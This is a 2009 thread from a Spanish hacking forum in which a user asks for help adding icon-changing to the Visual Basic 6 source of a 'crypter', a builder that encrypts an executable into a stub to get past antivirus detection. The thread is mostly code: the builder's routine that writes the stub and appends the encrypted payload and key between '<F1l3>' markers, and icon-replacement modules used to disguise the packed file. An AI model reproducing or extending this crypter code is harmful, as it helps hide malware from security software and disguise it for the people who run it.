elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Ayuda con cambio de Icono en Cripter
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con cambio de Icono en Cripter  (Leído 2,477 veces)
Yeshua


Desconectado Desconectado

Mensajes: 373


Continuamente aprendiendo


Ver Perfil
Ayuda con cambio de Icono en Cripter
« en: 23 Febrero 2009, 14:10 pm »

Hola estoy modificando el soucer de un crypter, le quiero añadir la opción de que me cambie el icono del archivo cifrado. Me he quedado ahí que no avanzo ya que si no marco la opción de cifrar el cripter funciona a la parfección, pero si no lo marco el cmd de cifrar se queda sin funcionar, no anda hasta que lo desmarque... El programa no me da errores, los modulos creo que estan bien, al igual que los eventos... este es el codigo del cmd para cifrar

Código
  1. Private Sub chameleonButton3_Click()
  2. On Error GoTo ende
  3.    Dim Buffer() As Byte
  4.    Dim ResBuffer() As Byte
  5.    Dim EofData As String
  6.    Dim Buffer2 As String
  7.    Dim Stubpath As String
  8.  
  9.         Dim eRR As String
  10.  
  11.        If Text1.Text = "" Then
  12.        MsgBox "Selecciona el fichero a cifrar"
  13.     chameleonButton1 = True
  14.  End If
  15.  
  16.    With CommonDialog1
  17.        .CancelError = True
  18.        .DialogTitle = "Select where to save the crypted file.."
  19.        .DefaultExt = ".exe"
  20.        .Filter = "Executables|*.exe"
  21.        .FileName = "Crypted232.exe"
  22.  
  23.        If Op1.Value = True Then
  24. ReplaceIcons CommonDialog1.FileName, App.Path + "\" + "Crypted111" + ".exe", eRR
  25. End If
  26.    End With
  27.  
  28.  
  29.  
  30.    CommonDialog1.ShowSave
  31.    Stubpath = CommonDialog1.FileName
  32.  
  33.    ResBuffer() = LoadResData(101, "STUB")
  34.    Open Stubpath For Binary As #2
  35.    Put #2, , ResBuffer()
  36.    Close #2
  37.  
  38.    Text3.Text = Text3.Text & "File read.." & vbCrLf
  39.    Text3.Text = Text3.Text & "Crypting.." & vbCrLf
  40.  
  41.    EncodeArrayB LoadFile(Text1.Text), Text2.Text
  42.    Buffer() = encoded()
  43.  
  44.    Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
  45.    EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
  46.  
  47.  
  48.  
  49.  
  50.    Open Stubpath For Binary As #1
  51.    Put #1, LOF(1) + 1, "<F1l3>"
  52.    Put #1, LOF(1) + 1, Buffer()
  53.    Put #1, LOF(1) + 1, "<F1l3>"
  54.    Put #1, LOF(1) + 1, Text2.Text
  55.    Put #1, LOF(1) + 1, "<F1l3>"
  56.    Put #1, LOF(1) + 1, EofData
  57.    Close #1
  58.  
  59.  
  60.  
  61.    'PatchEOF Stubpath 'removed cause it crashes the eof data
  62.  
  63.    Open Stubpath For Binary As #1
  64.    Put #1, LOF(1) + 1, EofData
  65.    Close #1
  66.  
  67.  
  68.    Call ReplaceIcons(CommonDialog1.FileName, Stubpath, eRR)
  69.  
  70.  
  71.  
  72.  
  73.    Text3.Text = Text3.Text & "Successfull!" & vbCrLf
  74.    MsgBox "The file has been successfully crypted", 64, "Lilith"
  75. ende:
  76. End Sub


Si alguien me puede ayudar se lo agradezco mucho, le podria pasar el source completo por si así no lo ve claro.

Gracias de antemano, un saludo.


En línea


el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: Ayuda con cambio de Icono en Cripter
« Respuesta #1 en: 23 Febrero 2009, 18:20 pm »

a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes


edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo

saludos


En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
WestOn

Desconectado Desconectado

Mensajes: 272


El testamento Maya...


Ver Perfil
Re: Ayuda con cambio de Icono en Cripter
« Respuesta #2 en: 23 Febrero 2009, 18:30 pm »

Wenas, habia un tema de aauronduran2 q hablaba de lo mismo (si no recuerdo mal), echale un vistazo tendra un par de meses el tema.

un saludo
En línea

En mi cabeza existe una barrera espacio-tiempo de 4cm³. ¿Alguien sabe como eliminarla?.
                                                                                                                                                                                                                            
Yeshua


Desconectado Desconectado

Mensajes: 373


Continuamente aprendiendo


Ver Perfil
Re: Ayuda con cambio de Icono en Cripter
« Respuesta #3 en: 23 Febrero 2009, 20:57 pm »

a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes


edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo

saludos

Pues si te digo la verdad esta asi xq lo pase a un colega y me lo dejo así, cosa que yo tampoco comprendí pero bueno, confié que debería de ser así  xD. Pruebo lo que me decis a ver si de una vez puedo continuar, Gracias a los 2. Ya os contaré.
En línea


aaronduran2


Desconectado Desconectado

Mensajes: 790



Ver Perfil WWW
Re: Ayuda con cambio de Icono en Cripter
« Respuesta #4 en: 23 Febrero 2009, 21:12 pm »

Lo ideal sería:

Código
  1. If chkCambiarIcono.Value = Checked Then
  2.    'Código para cambiar icono.
  3.    'Código para guardar el ejecutable.
  4. Else
  5.    'Código para guardar el ejecutable.
  6. End If

Este es el módulo que utilizo yo, aunque no funciona muy bien:

Código
  1. Option Explicit
  2.  
  3. Public Type ICONDIR
  4.    idReserved As Integer   ' Reserved (must be 0)
  5.    idType As Integer       ' Resource Type (1 for icons)
  6.    idCount As Integer      ' How many images?
  7.    'ICONDIRENTRY   idEntries[1]; // An entry for each image (idCount of 'em)
  8. End Type
  9.  
  10. Public Type ICONDIRENTRY
  11.    bWidth As Byte          ' Width, in pixels, of the image
  12.    bHeight As Byte         ' Height, in pixels, of the image
  13.    bColorCount As Byte     ' Number of colors in image (0 if >=8bpp)
  14.    bReserved As Byte       ' Reserved ( must be 0)
  15.    wPlanes As Integer      ' Color Planes
  16.    wBitCount As Integer    ' Bits per pixel
  17.    dwBytesInRes As Long    ' How many bytes in this resource?
  18.    dwImageOffset As Long   ' Where in the file is this image?
  19. End Type
  20.  
  21.  
  22. Public Type GRPICONDIR
  23.    idReserved As Integer   ' Reserved (must be 0)
  24.    idType As Integer       ' Resource Type (1 for icons)
  25.    idCount As Integer      ' How many images?
  26.    'ICONDIRENTRY   idEntries[1]; // An entry for each image (idCount of 'em)
  27. End Type
  28.  
  29. Public Type GRPICONDIRENTRY
  30.    bWidth As Byte          ' Width, in pixels, of the image
  31.    bHeight As Byte         ' Height, in pixels, of the image
  32.    bColorCount As Byte     ' Number of colors in image (0 if >=8bpp)
  33.    bReserved As Byte       ' Reserved ( must be 0)
  34.    wPlanes As Integer      ' Color Planes
  35.    wBitCount As Integer    ' Bits per pixel
  36.    dwBytesInRes As Long    ' How many bytes in this resource?
  37.    dwIconID As Integer   ' Where in the file is this image?
  38. End Type
  39.  
  40. Public Type Dat
  41.    Data() As Byte
  42. End Type
  43.  
  44. Public Type Ico
  45.    IcoDir As ICONDIR
  46.    Entries() As ICONDIRENTRY
  47.    IcoData() As Dat
  48. End Type
  49.  
  50. Public Type IcoExe
  51.    IcoDir As GRPICONDIR
  52.    Entries() As GRPICONDIRENTRY
  53. End Type
  54.  
  55. Private Declare Function BeginUpdateResource Lib "kernel32.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
  56. Private Declare Function UpdateResource Lib "kernel32.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
  57. Private Declare Function EndUpdateResource Lib "kernel32.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long
  58. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  59.  
  60. Private Const RT_ICON As Long = 3&
  61. Private Const DIFFERENCE As Long = 11
  62. Private Const RT_GROUP_ICON As Long = (RT_ICON + DIFFERENCE)
  63.  
  64. '// ReplaceIcoInExe "C:\EXEtoReplace.exe", OpenIconFile("C:\NewIcon.ico")
  65.  
  66. Public Function OpenIconFile(FileName As String) As Ico
  67. Dim t As Ico 'structure temporaire
  68. Dim X As Long 'compteur
  69.  
  70. 'on ouvre le fichier
  71. Open FileName For Binary As #1
  72.    'on récupère l'entete du fichier
  73.    Get #1, , t.IcoDir
  74.  
  75.    'redimensionne au nombre d'icones
  76.    ReDim t.Entries(0 To t.IcoDir.idCount - 1)
  77.    ReDim t.IcoData(0 To t.IcoDir.idCount - 1)
  78.  
  79.    'pour chaque icones
  80.    For X = 0 To t.IcoDir.idCount - 1
  81.        'récupère l'entete de l'icone
  82.        Get #1, 6 + 16 * X + 1, t.Entries(X)
  83.        'redimensionne à la taille des données
  84.        ReDim t.IcoData(X).Data(t.Entries(X).dwBytesInRes - 1)
  85.        'récupère les données
  86.        Get #1, t.Entries(X).dwImageOffset + 1, t.IcoData(X).Data
  87.    Next
  88. 'ferme le fichier
  89. Close #1
  90. 'renvoie les données
  91. OpenIconFile = t
  92. End Function
  93.  
  94. Private Function MakeIcoExe(IconFile As Ico) As IcoExe
  95. Dim t As IcoExe 'structure temporaire
  96. Dim X As Long 'compteur
  97.  
  98. 'nombre d'icones
  99. t.IcoDir.idCount = IconFile.IcoDir.idCount
  100. 'type : Icone = 1
  101. t.IcoDir.idType = 1
  102. 'chaque entrée
  103. ReDim t.Entries(IconFile.IcoDir.idCount - 1)
  104.  
  105. 'pour chaque entrée
  106. For X = 0 To t.IcoDir.idCount - 1
  107.    'entete d'icones
  108.    t.Entries(X).bColorCount = IconFile.Entries(X).bColorCount
  109.    t.Entries(X).bHeight = IconFile.Entries(X).bHeight
  110.    t.Entries(X).bReserved = IconFile.Entries(X).bReserved
  111.    t.Entries(X).bWidth = IconFile.Entries(X).bWidth
  112.    t.Entries(X).dwBytesInRes = IconFile.Entries(X).dwBytesInRes
  113.    t.Entries(X).dwIconID = X + 1
  114.    t.Entries(X).wBitCount = IconFile.Entries(X).wBitCount
  115.    t.Entries(X).wPlanes = IconFile.Entries(X).wPlanes
  116. Next
  117. 'renvoie la structure
  118. MakeIcoExe = t
  119. End Function
  120.  
  121. Public Function ReplaceIcoInExe(FileName As String, IcoFile As Ico) As Boolean
  122. Dim hWrite As Long 'handle de modification
  123. Dim Exe As IcoExe 'structure de ressource icone
  124. Dim ret As Long 'valeur de retour
  125. Dim X As Long 'compteur
  126. Dim D() As Byte 'buffer
  127.  
  128. 'obtient un handle de modification
  129. hWrite = BeginUpdateResource(FileName, 0)
  130.  
  131. 'si échec, on quitte
  132. If hWrite = 0 Then ReplaceIcoInExe = False: Exit Function
  133.  
  134. 'sinon, on lit l'icone
  135. Exe = MakeIcoExe(IcoFile)
  136.  
  137. 'on redimmensionne le buffer
  138. ReDim D(6 + 14 * Exe.IcoDir.idCount)
  139. 'on copie les données dans le buffer
  140. CopyMemory ByVal VarPtr(D(0)), ByVal VarPtr(Exe.IcoDir), 6
  141.  
  142. 'pour chaque icone
  143. For X = 0 To Exe.IcoDir.idCount - 1
  144.    'on copie les données
  145.    CopyMemory ByVal VarPtr(D(6 + 14 * X)), ByVal VarPtr(Exe.Entries(X).bWidth), 14&
  146. Next
  147.  
  148. 'on met à jour la ressource groupe icone
  149. ret = UpdateResource(hWrite, RT_GROUP_ICON, 1, 0, ByVal VarPtr(D(0)), UBound(D))
  150.  
  151. 'si échec, on quitte
  152. If ret = 0 Then ReplaceIcoInExe = False: EndUpdateResource hWrite, 1: Exit Function
  153.  
  154. 'on met à jour chaque ressource icone
  155. For X = 0 To Exe.IcoDir.idCount - 1
  156.    ret = UpdateResource(hWrite, RT_ICON, Exe.Entries(X).dwIconID, 0, ByVal VarPtr(IcoFile.IcoData(X).Data(0)), Exe.Entries(X).dwBytesInRes)
  157. Next
  158.  
  159. 'on enregsitre dans le fichier executable
  160. ret = EndUpdateResource(hWrite, 0)
  161. 'si échec, on quitte
  162. If ret = 0 Then ReplaceIcoInExe = False: Exit Function
  163.  
  164. 'sinon succès
  165. ReplaceIcoInExe = True
  166. End Function

Uso:

Código
  1. ReplaceIcoInExe "ruta archivo", OpenIconFile("ruta icono")

Saludos  ;)
« Última modificación: 23 Febrero 2009, 21:16 pm por aaronduran2 » En línea

Yeshua


Desconectado Desconectado

Mensajes: 373


Continuamente aprendiendo


Ver Perfil
Re: Ayuda con cambio de Icono en Cripter
« Respuesta #5 en: 23 Febrero 2009, 21:44 pm »

Hola respecto a la respuesta de el_c0c0 he de decir que ya lo hice, y si hago esto entonces me ecrypta de todas las maneras, esté o no marcada la opción de cambiar el ico. Pero lo que ocurre es que no cambia :(

aaronduran2 gracias por la respuesta, pero no creo qe sea del modulo ya que el mio me lo pasaron y anda bien, es este:

Código
  1. Option Explicit
  2. Type DIB_HEADER
  3.   Size        As Long
  4.   Width       As Long
  5.   Height      As Long
  6.   Planes      As Integer
  7.   Bitcount    As Integer
  8.   Reserved    As Long
  9.   ImageSize   As Long
  10. End Type
  11.  
  12. Type ICON_DIR_ENTRY
  13.   bWidth            As Byte
  14.   bHeight           As Byte
  15.   bColorCount       As Byte
  16.   bReserved         As Byte
  17.   wPlanes           As Integer
  18.   wBitCount         As Integer
  19.   dwBytesInRes      As Long
  20.   dwImageOffset     As Long
  21. End Type
  22.  
  23. Type ICON_DIR
  24.   Reserved          As Integer
  25.   Type              As Integer
  26.   Count             As Integer
  27. End Type
  28.  
  29. Type DIB_BITS
  30.   Bits()            As Byte
  31. End Type
  32.  
  33. Public Enum Errors
  34.   FILE_CREATE_FAILED = 1000
  35.   FILE_READ_FAILED
  36.   INVALID_PE_SIGNATURE
  37.   INVALID_ICO
  38.   NO_RESOURCE_TREE
  39.   NO_ICON_BRANCH
  40.   CANT_HACK_HEADERS
  41. End Enum
  42. Public Function ReplaceIcons(Source As String, Dest As String, Error As String) As Long
  43.  
  44.   Dim IcoDir As ICON_DIR
  45.   Dim IcoDirEntry As ICON_DIR_ENTRY
  46.   Dim tBits As DIB_BITS
  47.   Dim Icons() As IconDescriptor
  48.   Dim lngRet As Long
  49.   Dim BytesRead As Long
  50.   Dim hSource As Long
  51.   Dim hDest As Long
  52.   Dim ResTree As Long
  53.  
  54.   hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0)
  55.   If hSource >= 0 Then
  56.      If Valid_ICO(hSource) Then
  57.         SetFilePointer hSource, 0, 0, 0
  58.         ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&
  59.         ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&
  60.         SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0
  61.         ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte
  62.         ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&
  63.         CloseHandle hSource
  64.         hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0)
  65.         If hDest >= 0 Then
  66.            If Valid_PE(hDest) Then
  67.               ResTree = GetResTreeOffset(hDest)
  68.               If ResTree > 308 Then   ' Sanity check
  69.                  lngRet = GetIconOffsets(hDest, ResTree, Icons)
  70.                  SetFilePointer hDest, Icons(1).offset, 0, 0
  71.                  WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&
  72.                  If Not HackDirectories(hDest, ResTree, Icons(1).offset, IcoDirEntry) Then
  73.                     eRR.Raise CANT_HACK_HEADERS, App.EXEName, "Unable to modify directories in target executable.  File may not contain any icon resources."
  74.                  End If
  75.               Else
  76.                  eRR.Raise NO_RESOURCE_TREE, App.EXEName, Dest & " does not contain a valid resource tree.  File may be corrupt."
  77.                  CloseHandle hDest
  78.               End If
  79.            Else
  80.               eRR.Raise INVALID_PE_SIGNATURE, App.EXEName, Dest & " is not a valid Win32 executable."
  81.               CloseHandle hDest
  82.            End If
  83.         CloseHandle hDest
  84.         Else
  85.            eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Dest & ". Make sure file is not in use by another program."
  86.         End If
  87.      Else
  88.         eRR.Raise INVALID_ICO, App.EXEName, Source & " is not a valid icon resource file."
  89.         CloseHandle hSource
  90.      End If
  91.   Else
  92.      eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Source & ". Make sure file is not in use by another program."
  93.   End If
  94.   ReplaceIcons = 0
  95.   Exit Function
  96. ErrHandler:
  97.   ReplaceIcons = eRR.Number
  98.   Error = eRR.Description
  99. End Function
  100. Public Function Valid_ICO(hFile As Long) As Boolean
  101.   Dim tDir          As ICON_DIR
  102.   Dim BytesRead     As Long
  103.   If (hFile > 0) Then
  104.      ReadFile hFile, tDir, Len(tDir), BytesRead, ByVal 0&
  105.      If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then
  106.         Valid_ICO = True
  107.      Else
  108.         Valid_ICO = False
  109.      End If
  110.   Else
  111.      Valid_ICO = False
  112.   End If
  113. End Function
  114.  
  115.  


También tengo otro modulo de PechanceIcon.

editado: Ya solucione el problema, era tan simple como en vez de usa button usar un check.

Espero que me sigan ayudando. Gracias.
« Última modificación: 3 Marzo 2009, 14:48 pm por Yeshua » En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
duda filezilla FTP con cripter
Análisis y Diseño de Malware
marcelo2009 1 2,010 Último mensaje 18 Noviembre 2011, 03:08 am
por marcelo2009
MOVIDO: duda filezilla FTP con cripter
Seguridad
skapunky 0 1,693 Último mensaje 18 Noviembre 2011, 13:17 pm
por skapunky
[Ayuda]Icono sin nombre
Windows
MetalOro 7 3,237 Último mensaje 31 Enero 2012, 03:40 am
por MetalOro
[Tutorial] programando un cripter en VB6.
Análisis y Diseño de Malware
fary 1 3,783 Último mensaje 13 Marzo 2016, 22:33 pm
por crack81
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines